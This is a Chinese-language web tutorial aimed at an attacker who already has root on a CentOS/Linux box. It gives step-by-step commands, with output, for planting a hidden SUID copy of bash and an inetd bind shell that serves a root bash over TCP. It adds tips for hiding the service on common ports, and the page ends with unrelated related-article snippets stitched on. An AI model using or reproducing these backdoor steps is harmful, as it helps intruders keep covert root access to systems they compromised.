CentOS小心被suid shell与inetd后门利用的详细讲解

   CentOS小心被suid shell与inetd后门利用的详细讲解

          你现在已经是root用户,想留一个后门。


  系统环境:

  dawg:~#uname-a

  Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

  1.SUIDshell

  首先,先切换成为root用户,并执行以下的命令:

  dawg:~#cp/bin/bash/.wootdawg:~#chmod4755/.wootdawg:~#ls-al/.woot-rwsr-xr-x1rootroot690668Jul2417:14/.woot

  当然,你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件(在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏).

  现在,做为一个普通用户,我们来启用这个后门:

  fw@dawg:~$iduid=1000(fw)gid=1000(fw)groups=1000(fw)fw@dawg:~$/.woot.woot-2.05b$iduid=1000(fw)gid=1000(fw)groups=1000(fw).woot-2.05b$

  为什么不行呢?

  因为bash2针对suid有一些护卫的措施.但这也不是不可破的:

  .woot-2.05b$/.woot-p

  .woot-2.05b#id

  uid=1000(fw)gid=1000(fw)euid=0(root)groups=1000(fw)

  使用-p参数来获取一个rootshell.这个euid的意思是effectiveuserid(关于这些ID的知识,可以戳这里)

  这里要特别注意的是,作为一个普通用户执行这个SUIDshell时,一定要使用全路径。

  小知识:

  如何查找那些具有SUID的文件:

  dawg:~#find/-perm+4000-ls

  这时就会返回具有SUID位的文件啦。

  2.远程后门:利用/etc/inetd.conf

  我们使用vi来修改/etc/inetd.conf文件

  原文件:

  #chargendgramudpwaitrootinternal

  #discardstreamtcpnowaitrootinternal

  #discarddgramudpwaitrootinternal

  #daytimestreamtcpnowaitrootinternal

  修改为:

  #discardstreamtcpnowaitrootinternal

  #discarddgramudpwaitrootinternal

  daytimestreamtcpnowaitroot/bin/bashbash-i

  开启inetd:

  dawg:~#inetd

  如果要强制重启inetd:

  dawg:~#ps-ef|grepinetdroot36210Jul22?00:00:00/usr/sbin/inetdroot1376913643017:51pts/100:00:00grepinetddawg:~#kill-HUP362

  现在我们就可以用nc来爆菊了:

  C:tools192.168.1.77:inversehostlookupfailed:h_errno11004:NO_DATA

  (UNKNOWN)[192.168.1.77]13(daytime)open

  bash:nojobcontrolinthisshell

  bash-2.05b#bash-2.05b#

  bash-2.05b#iduid=0(root)

  gid=0(root)groups=0(root)bash-2.05b#uname-a

  Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux

  小贴士:

  我们可以修改/etc/services文件,加入以下的东西:

  woot6666/tcp#evilbackdoorservice

  然后修改/etc/inetd.conf:

  wootstreamtcpnowaitroot/bin/bashbash-i

  我们可以修改成一些常见的端口,以实现隐藏。

时间: 2024-12-08 02:44:54

CentOS小心被suid shell与inetd后门利用的详细讲解的相关文章

CentOS下redis自启动shell脚本_linux shell

用这个脚本管理之前,需要先配置下面的内核参数,否则Redis脚本在重启或停止redis时,将会报错,并且不能自动在停止服务前同步数据到磁盘上: 复制代码 代码如下: # vi /etc/sysctl.conf vm.overcommit_memory = 1 然后应用生效: 复制代码 代码如下: # sysctl -p 然后增加服务并开机自启动: 复制代码 代码如下: # chmod 755 /etc/init.d/redis # chkconfig –add redis # chkconfig

64位系统下的Office后门利用

本文讲的是64位系统下的Office后门利用, 0x00 前言 在之前的文章<Office后门的实现思路>介绍了在Office软件中植入后门的常用方法,但并不全面,缺少64位系统的测试.而对于64位操作系统,支持32位和64位两个版本的office软件,不同office版本的利用方法是否不同呢?本文将要给出答案. 0x01 简介 本文将要介绍如下内容: · 64位系统安装64位Office软件的利用方法 · 64位系统安装32位Office软件的利用方法 · 根据测试结果优化POC 0x02

Centos 64位安装aapt、jdk、tomcat的详细教程_Linux

1.安装jdk #查看系统自带的jdk [root@localhost ~]# rpm -qa | grep jdk java-1.7.0-openjdk-1.7.0.79-2.5.5.4.el6.x86_64 java-1.6.0-openjdk-1.6.0.35-1.13.7.1.el6_6.x86_64 #卸载系统自带openjdk [root@localhost ~]# rpm -e --nodeps java-1.6.0-openjdk-1.6.0.35-1.13.7.1.el6_6.

一键配置CentOS iptables防火墙的Shell脚本分享_linux shell

手里几台VPS配置iptables太繁琐,看到了朱哥的LNMP脚本里有一个自动配置iptables防火墙的脚本,借来改了一下,给需要的人用: 只提供常用端口的设置,如果你有特殊需求只需自行添加或减少相应的端口即可: 使用方法: 复制代码 代码如下: chmod +x iptables.sh ./iptables.sh 设置iptables开机自动启动: 复制代码 代码如下: chkconfig --level 345 iptables on 完整Shell: 复制代码 代码如下: #!/bin/

Centos 5.8中用Shell脚本一键安装mysql 5.5.25源码包

最近在研究mysql集群,至少要安装部署2台或者多台mysql数据库,操作起来即麻烦又很耗时,今天根据安装步骤写了一个Shell脚本,只需执 行以下脚本就可以快速安装mysql数据库,对初学者或者想学习mysql集群的朋友非常方便,即省时,又省力. 操作系统及其mysql配置文件说明: Linux系统:Centos5.8 mysql:mysql-5.5.25tar.gz源码包 安装目录:/usr/local/mysql/ 数据目录:/data/mysql/3306/data/ 二进制日志:/da

实现释放CentOS系统内存的Shell脚本分享_linux shell

这几天发现CentOS系统内存一直涨,即使把apache和mysql关闭了,内存也不释放,可以使用以下脚本来释放内存:   脚本内容:   复制代码 代码如下:     #! /bin/bash       # cache释放:       # To free pagecache:       sync       sync       #echo 1 > /proc/sys/vm/drop_caches       # To free dentries and inodes:       #e

centos linux下对Shell/.sh脚本加密两种方法(shc和gzexe)

shc方法 shc是一个加密shell脚本的工具.它的作用是把shell脚本转换为一个可执行的二进制文件 用shell脚本对系统进行自动化维护,简单,便捷而且可移植性好. 但shell脚本是可读写的,很有可能会泄露敏感信息,如用户名,密码,路径,IP等. 同样,在shell脚本运行时会也泄露敏感信息. shc是一个加密shell脚本的工具.它的作用是把shell脚本转换为一个可执行的二进制文件. 这就很好的解决了上述问题. shc 安装 yum -y install shc 如果yum不能安装,

Linux系统中bash shell编程的10个基础问题讲解_linux shell

第1问:为何叫做shell?在介绍 shell 是什么东西之前,不妨让我们重新审视使用者与电脑的关系.我们知道电脑的运作不能离开硬件,但使用者却无法直接对硬件作驱动,硬件的驱动只能透过一个称为"操作系统(Operating System)"的软件来控管,事实上,我们每天所谈的linux,严格来说只是一个操作系统,我们称之为"核心(kernel)".然而,从使用者的角度来说,使用者也没办法直接操作kernel,而是透过kernel的"外壳"程序,也

CentOS 7中源码安装MySQL 5.7.6+详细教程_Mysql

配置说明      Linux版本:Centos7      MySQL版本:MySQL5.7.16      该文档适用于MySQL版本>=5.7.6 一.卸载CentOS7默认携带的mariadb包 # 检查mariadb安装包 [root@wing ~]# rpm -qa | grep -i mysql [root@wing ~]# rpm -qa | grep -i mariadb mariadb-libs-5.5.50-1.el7_2.x86_64 # 卸载mariadb安装包 [ro